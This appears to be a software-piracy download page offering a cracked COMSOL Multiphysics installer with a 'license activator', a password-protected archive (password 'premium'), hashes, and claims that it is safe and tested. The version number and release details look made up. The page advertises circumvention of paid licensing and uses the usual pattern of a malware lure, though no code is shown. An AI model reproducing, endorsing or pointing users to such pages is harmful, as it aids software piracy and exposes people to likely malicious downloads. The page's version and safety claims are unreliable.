Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | COMSOL_Multiphysics_v11.19_x64_setup.zip |
| Version | v11.19.9272 build 39021 |
| File Size | 3.91 GB (4004 MB) |
| MD5 Hash | 08058d0f64f93ab464b20bada64b9b14 |
| SHA-256 | eb1adc819b8d8cfed6eaf957f784478e87a3dd53258f53fbdc786865c5139182 |
| Release Date | 2025-07-25 |
| Platform | Windows 10 (x64) / Server 2019 |
| Archive Password | premium |
| License Type | Full / Retail |
The COMSOL Multiphysics software download and installation package is fully tested on clean virtual machines. It bundles all drivers, redistributables and configuration files so you can skip manual dependency hunting and start working right after the first launch.